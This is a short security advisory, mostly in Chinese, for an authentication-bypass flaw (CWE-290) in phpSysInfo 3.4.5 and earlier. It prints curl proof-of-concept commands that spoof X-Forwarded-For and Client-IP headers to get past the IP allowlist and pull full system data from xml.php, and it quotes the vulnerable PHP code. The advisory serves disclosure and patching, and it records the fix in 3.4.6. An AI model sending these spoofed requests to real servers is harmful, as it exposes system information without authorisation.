CWE-290, CVSS 7.5 (高危), phpSysInfo <= 3.4.5
参考: GHSA-786w-p5pm-cvgh, CVE.org
PSI_ALLOWED 在回退到 REMOTE_ADDR 之前，会从攻击者可控的 X-Forwarded-For（随后是 Client-IP）请求头中解析客户端 IP。由于不存在可信代理的概念，因此伪造一个已允许的 IP 即可绕过白名单，并通过 xml.php 暴露完整的系统信息。
PoC:
# allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, full XML
漏洞代码（read_config.php）：
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last
}
已在 3.4.6（019fa2d）中修复：默认使用 REMOTE_ADDR；仅接受来自已配置可信代理的 X-Forwarded-For / Client-IP 头。
报告者：Muhammed Mirac Kayıkci